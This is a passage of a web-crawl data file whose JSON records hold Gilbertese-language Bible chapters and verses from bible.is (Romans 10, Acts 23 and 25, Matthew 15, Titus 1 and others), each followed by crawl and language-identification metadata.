am onimaki, ma te aro ni maiu ae itiaki. 13Ko na tabe ma warekan te B'aib'ara, te kab'arab'ara, ao te reireiia aomata ni karokoa rokou. 14Ko na tai kaaki taekan te b'ai n tituaraoi ane i roum, are ko anganaki n te tai are a taetae ni burabeti iai burabeti ao a katokai baiia i aom unimm'aanen te ekaretia. 15Ko na kakaraoi baikai, ao kakaonimaki nako iai, b'a e aonga n noraki tamaroan am waaki irouia aomata ni kabaneia. 16Ko na tarataraiko n arom ni maium, ao tarataraa kanoan am reirei. Ko na kakaraoi baikai; b'a ngkana ko karaoa aei, ao ko na kamaiuaki iai ma ake a ongo i roum.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4","date":"2016-07-02T10:35:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396222.11\/warc\/CC-MAIN-20160624154956-00019-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":434,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:44Ao taraia naba kaibuke: a ab'ab'aki ao a kabutaki n aang aika korakora, ma a kaetaki ni kawaia n te bwe ae moan te uarereke nakon te tabo are e kani borau nako iai te tia taubwe. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/4","date":"2016-07-01T09:00:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783402479.21\/warc\/CC-MAIN-20160624155002-00182-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000033378601074}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, aio ae tangiraki i nanou ao au tataro nakon te Atua i bukiia Iteraera, b'a a na kamaiuaki. 2B'a I kakoauaia ae a babane nanoia nakon te Atua, ma akea aia atatai 3b'a a aki ata te aro are e na kaetaki iai aroia n reitaki ma te Atua, ao a kataia ni karaoa te aro are e na reke iai i rouia; ao aroia aei e a oti iai b'a a rawa n are E a tia te Atua ni karaoia i bukiia. 4B'a Kristo E a tia ni katoka bonganan te Tua i bukiia ake a reke i rouia kaetan aroia n reitaki ma te Atua n aia onimaki. 5Ao aei are e koreia Mote b'a taekani kaetan aron te aomata n reitaki ma te Atua n iran nanon te Tua: \"Te aomata ane karaoi baikai, ao e na maiu.\" 6Ma aomata ake a reke kaetan aroia n reitaki ma te Atua n te onimaki a aki kona n titiraki ni kaangai, \"Antai ae na rierake nako karawa?\" (Ae nanona, b'a antai ae na kaira ri kaaki Kristo nako ira). 7\"Ao antai ae na ruo nako moone?\" (ae nanona, b'a antai ae na kaira rake Kristo mai buakoia maate). 8Ma aei taekana n te B'aib'ara: \"E rangi ni kaan te taeka nako im, b'a ane i wiim ke i nanom.\" Boni ngaia taekan te onimaki are ti tataekinna. 9B'a ngkana ko taekina Iesu ni wiim b'a te UEA ao ko onimaki i nanom b'a E a manga uti iroun te Atua mai buakoia maate, ao ko na kamaiuaki. 10B'a e onimaki te aomata i nanona ao e reke i rouna kaetan arona n reitaki ma te Atua; e tataekina ana onimaki ni wina ao e kamaiuaki. 11B'a e kaangai te B'aib'ara, \"Ane onimakinna ao e na aki kamaamaeaki.\" 12Te taeka aei bon i bukiia aomata ni kabaneia: b'a akea kaokoron te I-Iutaia ma te I-Erene, b'a ti temanna aia UEA aomata ni kabaneia, ae E kabatiai kab'aiaia aomata nako ake a butiia buokaia; 13b'a ane taboa aran te UEA ao e na kamaiuaki. 14Ao a na kanga ni wetea aran Teuare a aki onimakinna? Ao a na kanga n onimakinna ngkana a tuai n ongo taekana? Ao a na kanga n ongo ngkana akea te tia taekinna? 15Ao a na kanga n tataekinna ngkana a aki kanakoaki? N ai aron are koreaki ni kaangai, \"Ai tamaroa ra waeia ake a roko n uoti rongorongoni baika raraoi!\" 16Ma a aki bane aomata n ira nanon te euangkerio. B'a e kaangai Itaia, \"Te UEA, antai ae onimakina ara rongorongo?\" 17Ma ngaia ae e reke te onimaki man te ongora n te rongorongo, ao te ongora n te rongorongo e reke man tataekinani Kristo. 18Ma I taku, A tuai n ongo Iteraera? A bon tia-n ai aron taekana are kaangai: \"E oti nako b'anaaia ni kabuta aonnaba ni kabane, Ao a nako aia taeka nakon tabon aonnaba.\" 19I a manga titiraki riki ni kaangai, A aki ataia Iteraera? Aio moa ana taeka Mote: \"N na kabakantangingkami i rouia ake tiaki oi ni botannaomata, Ao N na kauningkami iroun te botannaomata ae a nanobaba kaaina.\" 20Ao e taetae Itaia n aki maku, ngke e taekina ana taeka te UEA are e kaangai: \"I a reke irouia akana aki ukoukorai; I kaotai nakoia akana aki titiraki taekau.\" 21Ma aikai ana taeka, aika ana taeka te UEA i bukiia Iteraera: \"I aroarori baiu ni kabongnga nakon te botannaomata ae aki ongeaba irou, ao e katei nako iu.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/10","date":"2016-06-26T03:04:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783394605.61\/warc\/CC-MAIN-20160624154954-00125-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":585,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia are, ngke e roko Beteto n te m'akoro are e na tautaeka i aona, ao i mwin tenibong, ao e waerake nako Ierutarem mai Kaitareia. 2A kaoti baike a bukina iai B'auro ibonga ake mataniwi ma aomata ake a kakannato nakoni Beteto, ao a kairoroa ni butiia, 3b'a e na buoki nanoia ni kaoa B'auro nako Ierutarem, b'a a tia n aia iango b'a a na kamatea i aoni kawaina. 4Ma ngaia are, e kaekaia Beteto ao e taku, \"E na kawakinaki B'auro i Kaitareia, ao N na nako ikekei i mwin te tai ae aki maan. 5A na wairio ma ngai aomata aika m'aaka ni babaire i buakomi, ao a na taekina bukinan te aomata arei, ngkana iai ana bure.\" 6Ngke e a tia Beteto ni mena i buakoia i nanon te maan ae aki raka i aoni wanua ke tebwina te bong, ao e wairio nako Kaitareia; ao ngke e a ingabong ao e tekateka n te tabo ni motiki-taeka, ao e tua b'a e na kairaki B'auro nakoina. 7Ao ngke e roko B'auro, ao a tei i rarikina I-Iutaia ake a roko mai Ierutarem ni kaoti ana bure aika bati ma n rawawata, aika a aki konai ni kakoauai. 8E taetae ngkanne B'auro ni kaitarai bukinana ao e taku, \"Akea te b'ai ae I a tia ni karaoia ae bure nakon aia Tua I-Iutaia, ma te Tembora, ao nakoni kautun te tautaeka n Rom.\" 9E kan tangiraki Beteto irouia I-Iutaia, ma ngaia are e taku nakoni B'auro, \"Ko kan nako Ierutarem b'a N na motika taekam iai i bukini bukinam aikai?\" 10Ma e taku B'auro, \"N na tei i matan ana kabowi kautun te tautaeka n Rom, are e riai ni motikaki taekau iai. Akea te b'ai ae bure ae I karaoia nakoia I-Iutaia, ao ko bon ataia. 11Ma ngaia aei, b'a ngkana I a tia ni karaoa ae bure, ao I a tia ni karaoa te b'ai ae riai mateu iai, ao I aki rawa ni mate; ma ngkana tao akea nanoni baikana a bukinai iai, ao bon akea temanna ae kona n anganiia ngai. I bubuti b'a e na motika taekau kautun te tautaeka n Rom.\" 12Ngke e tia n taetae Beteto ma kaain te kabowi, ao e taku, \"Ko a tia ni bubuti b'a e na motikaki taekam irouni kautun te tautaeka n Rom, ma ngaia are ko na nako ni kautun te tautaeka n Rom.\" 13Ao i mwin tabe bong ao e roko Akerib'a are te uea ma Nei Berenike i Kaitareia, ni kaota nanoia ni butim'aea Beteto. 14A bati aia bong n tiku i Kaitareia; ao i nanoni boong akanne ao e karakina taekani B'auro Beteto nakon te uea, ni kaangai, Iai te aomata ikai ae kitanaki ni kabaeaki irouni Berika; 15ao ngke I mena i Ierutarem ao a kaongoraeai taekan teuaei ibonga ake mataniwi ma aia unimm'aane I-Iutaia, ao a tangirai b'a N na motika taekana ni kaburea. 16Ma I tuangiia b'a n aia katei I-Rom ao a aki kona ni kaburea te aomata ni karokoa ae e a tia n tei i matan te kabowi n i taramata ma aomata ake a bukinna, ao ni karokoa naba ae e a tia n reke ana tai n taetae ni kaitaraa bukinana. 17Ma ngaia are, ngke a roko ikai, ao I aki tab'ara b'a n te bong naba are i mwina, ao I tekateka n te tabo ni motiki-taeka, ao I tua b'a e na kairaki nako iu te aomata arei. 18Ao ngke a teirake taani bukinna n ekianako, ao akea aia taeka i bukina ni kabuakaka n aron are I kaantaningaia; 19ma iai b'aai ake a kauntaekai ma ngaia i bukini baika kaeti ma aia onimaki, ao i bukin naba temanna, ae Iesu ae mate, ae e taku B'auro b'a E maiu. 20Ao ngke I aki ata ae N na karaoia i bukin te kauntaeka i aoni baikanne, ao I titirakinna b'a e kan nako Ierutarem ni kabowiaki iai i bukini baikanne ke e aki. 21Ma ngke e taetae B'auro b'a e na kawakinaki i m'aini motikan taekana irouni kautun te tautaeka n Rom, ao I tua b'a e na kawakinaki ni karokoa kanakoana i rou nakoni kautun te tautaeka n Rom. 22Ao e taku Akerib'a nakoni Beteto, \"I kan ongora naba ngai iroun te aomata anne.\" Ao ngaia e taku, \"Ko na ongora i rouna ningabong.\" 23Ma ngaia are, ngke e a ingabong, ao e roko Akerib'a ma Berenike ma te aro ni karinerine ae bati irouia aomata, n rin n te tabo n ongora ma aia mataniwi nako tautia ma aomata ake a kakannato n te kaawa arei. E tua ngkanne Beteto b'a e na kairaki B'auro nakoia. 24Ao e taku Beteto: Te uea ae Akerib'a, ao ngkami ni kabaneingkami aika kam mena ikai ma ngaira, kam nora teuaei, ae a bane I-Iutaia ake i Ierutarem ao ikai naba ni kawarai i bukina, ao a kanenei b'anaaia n taku b'a e aki riai ni kamaanaki riki ana tai ni maiuna. 25Ma I kunea b'a akea te b'ai ae e a tia ni karaoia ae riai matena iai; ma ngke e taetae b'a e na motikaki taekana iroun Aukitito, ao e reke nanou b'a N na kanakoa nakoina. 26Ma akea i rou taekana ae ataaki raoi ae N na koreia nakoni kautun te tautaeka n Rom. Ma ngaia ae I kairiia mai nako matami, ao ai moara riki nako matam, te uea ae Akerib'a, b'a i mwini kakaaean taekana iroura ao tao a kona n reke baika N na korei taekaia. 27B'a I taku b'a e aki riai ae N na kanakoa te bure ao akea taekana ae na kaoti baika e bukinaki iai.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/25","date":"2016-06-29T06:14:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397567.28\/warc\/CC-MAIN-20160624154957-00056-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":947,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:1414Ko na tai kaaki taekan te b'ai n tituaraoi ane i roum, are ko anganaki n te tai are a taetae ni burabeti iai burabeti ao a katokai baiia i aom unimm'aanen te ekaretia. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/14","date":"2016-06-28T09:50:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396872.10\/warc\/CC-MAIN-20160624154956-00083-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9998078942,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9998078942298889}","num_words":50,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao a roko iroun Iesu B'aritaio ma taani koroboki tabem'aang mai Ierutarem, ao a taku, 2\"A aera am reirei ngkai a ri aon aia taeka n reirei ara bakatibu? B'a a aki teboki baiia i m'ain am'arakeia!\" 3Ao E kaekaia ni kangai: Ao ngkami kam aera ngkai kam ri aon ana tua te Atua ao kam aki iri nanon ami taeka n reirei? 4B'a E tua te Atua ni kangai, Ko na karinea tamam ma tinam, ao ane tabeki taeka aika buakaka i bukin tamana ke tinana, ao ke e mate. 5Ma ngkami kam taku, Ngkana e kangai te aomata nakon tamana ke tinana. Te baere ko na karekea mai rou b'a am b'ai I a tia ni katabua i bukin te Atua. 6Ao e a tau ngkana e aki karinea tamana ke tinana. Ma ngaia are i bukin ami taeka n reirei, ao kam a tia ni kakeaa iai ana taeka te Atua. 7Ngkami aika taani m'am'ana-te-aba! E eti ana taeka Itaia ngke e taekiningkami ni kangai, 8\"A karineai aomata aikai n aia taeka, ma a raroa nako nanoia mai Rou; 9Akea nanon aia taromauri, i bukina b'a a reirei taekan tuua ake a karaoi aomata b'a aongkoa ana tua te Atua!\" 10Ao E weteia aomata nako Ina, ao E taku nako ia, \"Kam na ongora, ao kam na ataia! 11Tiaki te b'ai ae rin nako nanon te wii ae kam'araea te aomata; ma te b'ai ae oti nako man te wii, boni ngaia ae kam'araea te aomata.\" 12A roko i Rouna ngkanne ana reirei, ao a taku, \"Ko ataia ae a maraki nanoia B'aritaio i Roum n am taeka ake Ko atong?\" 13Ao E kaekaia Iesu ni kangai, \"A na bane ni koutaki aroka nako aika aki unikaki iroun Tamau are i karawa. 14Katikuia i bon i rouia! taani kairiri aika mataki. Ao ngkana te aomata ae mataki e kaira ae mataki naba, ao a na uaia ni b'aka i nanon te ruarua.\" 15Ma e taku Betero nako Ina, \"Kaota nanon te taeka ni kabotau anne nako ira.\" 16Ao E taku Iesu: Ao ngkami kam babanga naba? 17Kam aki ataia b'a te b'ai ae rin i nanon te wii e rin nako nanon te biroto, ao i mwina e oti nako man te rab'ata? 18Ma te b'ai ae nako man te wii e nako man te nano, ao boni ngaia ae kam'araea te aomata. 19B'a a nako man te nano iango aika buakaka aika kaira te aomata b'a e na tiritiri, e na wene ni bure ma te ainenum'a, e na wene ni bure ma te aine ae akea buuna, e na iraa, e na bukibuki ni kewe, ao e na taekini baika aki raraoi b'a taekaia aomata tem'angina. 20Baikai aika kam'araea te aomata; ma te am'arake ma baai aika aki tebokaki a bon aki kam'araea te aomata. 21Ao E kitana ikekei Iesu, ao E nako n aaba ake i rarikin Turo ma Titon. 22Ao noria, e roko te aine temanna ae te I-Kanaan man aaba akekei, ao e takarua ni kangai, \"Te Uea, ae Natin Tawita! Ko na nanoangaai! E taniaki natiu te aine iroun te taimonio, ao e a rangi ni karawawataki i rouna.\" 23Ao Ngaia E aki kani kaekaa naba teutana. Ao a roko ana reirei ao a butiia ni kangai, \"Ko na kanakoa neiei! B'a ae e a iririra n tatakarua n te aro aei!\" 24Ao Ngaia E kaekaia ni kangai, \"I kanakoaki nakoia ti tiibu ake a bua ake Iteraera.\" 25Ma neierei e roko ao e b'aka ni katorobubua ni bobaraaki i matan Iesu, ao e taku, \"Te Uea, Ko na buokai!\" 26Ao Iesu E kaeka ni kangai, \"E aki riai te anai kanaia ataei n tetewe nako nakoia kamea.\" 27Ao e taku neierei, \"Te koaua, te Uea; ma kamea a kangi tamrurun am'arake ake a b'aka man aia taibora aia toka.\" 28E kaekaa ngkanne neierei Iesu ni kangai, \"Neiko, e ab'ab'aki am onimaki! E na karaoaki nako im n ai aron ane ko tangiria.\" Ao e a kamaiuaki natina n te tai naba arei. 29Ao E kitana ikekei Iesu, ao E nako n ri rarikin namani Kariraia. E ararakea te maunga ao E tekateka iai. 30Ao a nako Ina aomata aika rangi ni m'aiti, ao a kairiia m'auku, ma mataki, ma ake a aki kona n taetae, ma raoia n aoraki aika bati, ao a katikuia i rarikini waen Iesu, ao E kamaiuia; 31ao a mimi aomata ngke a noriia ake a aki kona n taetae b'a a taetae, ao ake a uruaki b'ain rab'ataia b'a a okiri aroia, ao m'auku b'a a nakonako, ao mataki b'a a noraba; ao a neboa Atuaia Iteraera. 32Ao Iesu E weteia ana reirei nako Ina, ao E taku nako ia, \"I nanoangaia aomata aikai, b'a a mena i Rou tenibong ngkai, ao akea kanaia; ao I aki kani kanakoia ngkai a baki, b'a a kawa ni kiro i aoni kawaia.\" 33Ao a taku ana reirei nako Ina, \"E na reke maia i roura n te rereua te am'arake ae na tau i bukiia aomata aika rangi ni m'aiti aikai?\" 34Ao E taku Iesu nako ia, \"Iraai te kariki ae iai i roumi?\" A taku, \"Itiai, ao tabeman ika aika uarereke.\" 35Ao E tuangiia aomata b'a a na tekateka i aontano; 36ao E anai kariki ake itiai ma ika; ao ngke E a tia n tataro ni katituaraoi, ao E urui, ao E anganiia ana reirei, ao ngaiia a manga anganiia aomata. 37Ao a bane n am'arake ao a ngae; ao a anai n tabeki b'aene aika itikora aika on ni m'akorokoron am'arake ake a nikirana. 38M'aitiia te koraki ake a tia n am'arake aua tengaa te mm'aane, ao iai naba aine ma ataei. 39Ao E kanakoia aomata Iesu, ao E toka n te booti, ao E nako n aaba ake i M'akatan.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/15","date":"2016-06-25T18:35:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393463.1\/warc\/CC-MAIN-20160624154953-00156-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":968,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae B'auro, ana toro te Atua, ao ana tia tuatua Iesu Kristo, i bukin aia onimaki ake a rineaki iroun te Atua, ma ataakin te koaua n te Aro ni Kristian. 2i bukini kaantaningaan te maiu are aki toki, are E taku te Atua ngke a tuai ni karikaki b'aai, b'a E na angania aomata; ao bon te Atua Ngaia ae aki kona ni kewe, 3ma ngke e roko taina ae riai, ao E kaota ana taeka n te Rongorongo are I mwiokoaki iai, ao I tataekinna n ai aron tuangau iroun te Atua are ara Tia Kamaiu; 4nakon Tito, ae natiu ni koaua n te onimaki are ti buokanib'ai iai: am b'ai te akoaki ma te raoiroi mairoun te Atua ae te Tama ma Kristo Iesu are ara Tia Kamaiu. 5I katikuko i Kirete i bukin aei, b'a ko na kaeti baike a tuai n tia, ao b'a ko na rineia naba unimm'aane n ekaretia ni kaawa nako, n ai aron are I tuangko ngkoa. 6Te unimm'aane e riai n te aomata ae akea kabuakakaana; e na ti temanna buuna ao taan onimaki natina aika akea i rouia te maiu buaka ke te maiu n aki ongeaba. 7B'a te mataniwi n te ekaretia, ngkai ana touati te Atua ngaia, ao e riai n akea kabuakakaana. E na tai b'ab'aotiniia aomata, e na tai kakai un, e na tai mamanging, e na tai kakai oro, ao e na tai kani b'aib'ai n te aro ae aki riai; 8ma e na akoakoia iruwa, e na tangira te raoiroi, e na iango raoi, e na b'ab'aina te eti, e na katabua maiuna nakon te Atua, ao e na taona nanona mani baika e tangiri te rab'ata; 9e na taua ni kamatoa te taeka are iai onimakinana are e reireiaki iai, b'a e aonga ni kona ni kaungaia aomata n te reirei ni koaua, ma ni kaoti aia kairua te koraki akana ekianako. 10B'a a m'aiti aomata aika rawa ni kani kairaki, aika taani b'arantiko ma taani bureburea te aba; ao m'aitin te koraki anne boni kaain te kaitiakaki. 11E riai b'a a na kainaki wiia te koraki aei, aika aomata aika kabane kaain utu nako n aki karauia n aia reirei aika aki riai n anga; ma a anga i bukin te kani b'aib'ai n te aro ae aki riai. 12E taku raoia temanna, ae bon aia burabeti, \"A aki toki ni b'aina te kewe I-Kirete, boni maan ni kaakang aika aki manana, ao te koraki ni buabeka aika aki m'am'akuri.\" 13E koaua te taeka aei. Ma ngaia ae ko na boaiia n te aro ae matoatoa, b'a a aonga n onimaki ni koaua, 14ao a aki manga katabeia ma karaki nikawai aika oteaki aika aia karaki I-Iutaia, ma aia tua aomata aika riba te koaua. 15A bane n itiaki b'aai nakoia akana itiaki; ma akea te b'ai ae itiaki nakoia akana kam'ara i bukin aia bure ma akana aki onimaki, b'a a uaia ni kam'ara nanoia ma mataniwin nanoia. 16A taku b'a a ata te Atua; ma a kakeaa n aia m'akuri nako. A bati n ribaki, ao a aki ongeaba, ao a aki tau nakoni m'akuri aika raraoi ni kabane.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Titus\/1","date":"2016-06-27T01:17:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395613.65\/warc\/CC-MAIN-20160624154955-00150-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":532,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kaeti matana B'auro n taraia kaain te Tanirim, ao e taku, \"Taari, I a tia ni maiu i matan te Atua ma mataniwin nanou ae itiaki ni karokoa te bong aei.\" 2Ao e anga ana taeka Anania are mataniwiia ibonga nakoia ake a tei i rarikini B'auro, b'a a na orea wina. 3Ao e taku ngkanne B'auro nakoina, \"E nang oroiko te Atua, ngkoe ae te o te bono ae kamainainaki! b'a ko tekateka ni motika taekau ni kaeti ma taekan te Tua, ao ko ri aon te Tua ngkai ko tua b'a N na oreaki!\" 4Ao a taku ake a tei i rarikini B'auro, \"Ko taetae n iowawa nakon te ibonga ae te mataniwi ae ana ibonga te Atua?\" 5Ao e taku B'auro, \"Taari, I aki ataia ae ngaia aia mataniwi ibonga; b'a e koreaki ae kaangai, 'Ko na aki tabeki taeka aika bubuaka b'a taekan temanna ae tautaeka i aoia am botannaomata.' \" 6Ngke e ataia B'auro b'a Tarukaio tem'angina, ao B'aritaio tem'angina, ao e kanenea ngkanne b'anaana i mataia kaain te Tanirim, ni kaangai, \"Mm'aane, taari, bon te B'aritaio ngai, ae natiia B'aritaio. E kabowiaki taekau ikai i bukin te kaantaninga ae i rou ae a na manga uti maate!\" 7Ngke e a atonga aei B'auro, ao e a riki naba te kauntaeka irouia B'aritaio ma Tarukaio; ao a uamaae n aia iango kaain te kabowi. 8B'a a taku Tarukaio b'a akea te manga-maiu, ao akea anera ma tamnei; ma a taku B'aritaio b'a iai baikai ni kabane. 9Ao e riki te takarua ae korakora; a teirake taani koroboki tem'angina ake raoia B'aritaio, ao a kauntaeka, ao a taku, \"Akea aron teuaei ae buakaka ae ti kunea. E aki ngkoa ao tao e a tia n taetae nakoina te tamnei ke te anera!\" 10Ngke e riki te kauntaeka ae korakora, ao e makuia aomata aia mataniwi tautia b'a a kaawa n raebitia B'auro; ma ngaia are e tuangiia tautia b'a a na ruo n anaa B'auro mai buakoia, ao a na kairiia nako nanoni neia tautia are matoatoa. 11Ngke e a bong, ao E tei te UEA i rarikini B'auro ao E taku, \"Ko na ninikoria! B'a ngkai ko a tia ni kaotioti i buku i Ierutarem, ao ko na manga karaoia naba i Rom.\" 12Ngke e a ngaina, ao a karekea aia iango ni kam'arua I-Iutaia tem'angina: a taetae ni bau b'a a na aki am'arake ma ni moi ni karokoa ae a tia ni kamatea B'auro. 13E raka i aon angaun m'aitiia aomata ake a kabo nanoia n te aro anne. 14Ao a nako ni kawariia ibonga ake mataniwi ma unimm'aane, ao a taku, \"Ti a tia ni kabaeira n ara taeka ni bau b'a ti na bon aki am'arake ni karokoa ae ti a tia ni kamatea B'auro. 15Ma ngaia aei, kam na kanakoa ngkai ami taeka ma kaain te Tanirim nakon aia mataniwi tautia, b'a e aonga ni kaira rio B'auro nakoimi, b'a aongkoa kam kan ri nanoa riki taekana n te aro ae eti; ao ngaira ti na tauraoi ni kamatea i m'ain rokona ni kaaningkami.\" 16Ngke e ongo natini m'aneni B'auro ae a na kam'arua B'auro, ao e nako n rin ni neia tautia are matoatoa n tuanga B'auro. 17Ao e wetea temanna irouia mataniwi n te taanga ni buaka are tebubua kaaina B'auro, ao e taku, \"Ko na kaira te roronga aei nakon aia mataniwi tautia, b'a iai ana taeka ae e na tuangnga.\" 18Ma ngaia are, e kairiia nakon aia mataniwi tautia, ao e taku, \"E weteai te bure are B'auro ao e butiai b'a N na kaira te roronga aei nako im, b'a iai te bae e na tuangko.\" 19E taua bain te roronga arei aia mataniwi tautia, ao e kairiia nako ni kaokoroia n ti ngaiia, ao e a titirakinna ngkanne ni kaangai, \"Tera am taeka ane ko na tuangai?\" 20Ao ngaia e taku, \"A kabo nanoia I-Iutaia b'a a na butiiko b'a ko na kaira rio B'auro ningabong nakoia kaain te Tanirim, b'a aongkoa are a na ukoukora riki aroni kaetan taekana. 21Ma ngaia ae ko na aki iri nanoia, b'a angaun tabun te aomata i buakoia te koraki arei akana tataninga ni karabaia b'a a na kam'arua B'auro. Aikai te koraki ake a tia ni kabaeaki n aia berita b'a a na aki am'arake ma ni moi ni karokoa ae a tia ni kamatea B'auro. A tauraoi ngkai ni kaantaninga te taeka mai roum.\" 22E kanakoa ngkanne te roronga arei aia mataniwi tautia, ao e tuangnga ni kaangai, \"Ko na aki tuanga te aomata temanna ae ko taekini baikai nako iu.\" 23E weteia ngkanne uomani mataniwi n te taanga ni buaka are tebubua kaaina teuare aia mataniwi tautia, ao e taku, \"Kam na katauraoia uabubua tautia, ma itingaun tautia aika totoka i aoia aoti, ma uabubua tautia aika taani buaka n te kainiwai, b'a a na nako Kaitareia n te aoa ruaiwa n te tairiki aei; 24ao katauraoia maan b'a a na katokaa B'auro i aoia, b'a a aonga ni karokoa raoi irouni Berika are te tia tautaeka.\" 25Ao e korea te reta aia mataniwi tautia, ae e kaangai taekana: 26Mairouni Keraurio Rutia nakoni Berika, ae te tia tautaeka ae moan te kakannato: 27Ko na mauri! E tauaki te aomata aei irouia I-Iutaia, ao e kuri ni kamateaki i rouia; ngke I ataia b'a te I-Rom, ao I nako ma tautia ni kamaiua. 28Ngke I kan ata bukin are a kabuakaka iai, ao I kairiia nakon aia kabowi; 29ao I ataia iai b'a e kabuakakaki ni baika kaeti ma taekan aia Tua, ma akea bukinana ae riai kamateana iai ke kabaeana iai. 30Ao ngke I tuangaki b'a e nang kam'aruaki te aomata aei irouia I-Iutaia tabem'aang, ao I kawaetata ni kanakoa nako im, ao I tuangiia naba ake a kabuakaka b'a a na taekini baike a bukinna iai i matam. 31Ma ngaia are, a karaoa tuangaia tautia: a taua B'auro ao a kairiia e bong nako Antibateri. 32Ngke e a ingabong, ao a oki tautia nakoni neia are matoatoa, ma ti tautia ake a totoka i aoia aoti aika tiku n raona B'auro ni m'ananga. 33Ngke a roko i Kaitareia, ao a anga te reta nakon te tia tautaeka, ao a anga naba B'auro nakoina. 34Ngke e tia ni wareka te reta te tia tautaeka, ao e titiraki b'a kaain te tabo ra B'auro. Ngke e ataia b'a te I-Kirikia, 35ao e taku, \"I a ongora i roum ngkana a roko ake a bukiniko.\" Ao e anga ana taeka b'a e na kawakinaki B'auro n ana Beritoriam Erote.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/23","date":"2016-06-29T21:49:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397842.93\/warc\/CC-MAIN-20160624154957-00054-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":1094,"character_repetition_ratio":0.065,"word_repetition_ratio":0.013,"special_characters_ratio":0.25,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao te anera arei e kaota nako iu karaangan te ran ni maiu, ae te ran ae raneanea n ai aron te kurititaro; ao e raanga nako te ran arei man ana kaintokanuea te Atua ma te Tiibuteteei, 2n ri nuukani kawain te kaawa. Ao n iteran te karaanga ake uoua bon iai kaai ni maiu, aika kariki uaaia teuana te tai ni katoa nam'akaina i nanon teuana te ririki; ao baanikaai akekei boni b'aini kamaiuaia botannaomata. 3Ao akea ae reke kaina ae na manga noraki n te kaawa arei; ao e na mena iai ana kaintokanuea te Atua ma te 